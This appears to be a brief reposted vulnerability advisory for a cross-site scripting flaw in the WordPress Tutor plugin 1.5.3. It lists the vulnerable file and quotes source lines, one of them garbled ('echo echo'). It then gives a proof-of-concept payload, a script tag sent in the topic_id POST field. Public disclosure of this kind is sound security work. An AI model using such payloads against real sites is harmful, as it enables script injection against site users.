WordPress Tutor 1.5.3 Cross Site Scripting

WordPress Tutor plugin version 1.5.3 suffers from a cross site scripting vulnerability.

MD5 | 60ed0990ac761eab878bed305d1fa152

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[-] Tile: Wordpress Plugin tutor.1.5.3 - Cross-Site Scripting
[-] Author: mehran feizi
[-] Category: webapps
[-] Date: 2020.02.12
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Vulnerable page:
/Quiz.php
===================================================================
Vulnerable Source:
473: echo echo $topic_id;
447: $topic_id = sanitize_text_field($_POST['topic_id']);
===================================================================
Exploit:
localhost/wp-content/plugins/tutor/classes/Quiz.php     and
$_POST('topic_id')=   <script>alert('mehran')</script>
=================================================================================

Source: packetstormsecurity.com